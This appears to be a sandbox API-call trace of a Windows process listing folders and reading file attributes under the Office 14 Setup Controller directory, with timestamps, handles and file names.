	[0050.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1
	[0050.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 1
	[0050.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.490] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.491] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us"), fInfoLevelId=0x0, lpFileInformation=0x123fc918 | out: lpFileInformation=0x123fc918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.492] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.494] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.494] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1
	[0050.494] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="ACCESS~2.XML")) returned 1
	[0050.494] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0050.494] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.494] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.495] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fca58 | out: lpFileInformation=0x123fca58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545)) returned 1
	[0050.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fcaa8 | out: lpFileInformation=0x123fcaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333)) returned 1
	[0050.497] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fcaf8 | out: lpFileInformation=0x123fcaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40)) returned 1
	[0050.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us"), fInfoLevelId=0x0, lpFileInformation=0x123fcb48 | out: lpFileInformation=0x123fcb48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.498] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.498] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.498] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1
	[0050.498] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0050.498] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.498] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fcc38 | out: lpFileInformation=0x123fcc38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d)) returned 1
	[0050.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fcc88 | out: lpFileInformation=0x123fcc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8)) returned 1
	[0050.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us"), fInfoLevelId=0x0, lpFileInformation=0x123fccd8 | out: lpFileInformation=0x123fccd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.500] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.500] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.500] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1
	[0050.501] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0050.501] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.501] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.501] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fcdc8 | out: lpFileInformation=0x123fcdc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391)) returned 1
	[0050.501] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fce18 | out: lpFileInformation=0x123fce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac)) returned 1
	[0050.506] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us"), fInfoLevelId=0x0, lpFileInformation=0x123fce68 | out: lpFileInformation=0x123fce68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.506] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.506] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.507] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1
	[0050.507] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0050.507] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.507] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.507] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fcf58 | out: lpFileInformation=0x123fcf58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf)) returned 1
	[0050.507] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fcfa8 | out: lpFileInformation=0x123fcfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c)) returned 1
	[0050.507] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fcff8 | out: lpFileInformation=0x123fcff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8)) returned 1
	[0050.507] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fd048 | out: lpFileInformation=0x123fd048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68)) returned 1
	[0050.508] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fd098 | out: lpFileInformation=0x123fd098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0)) returned 1
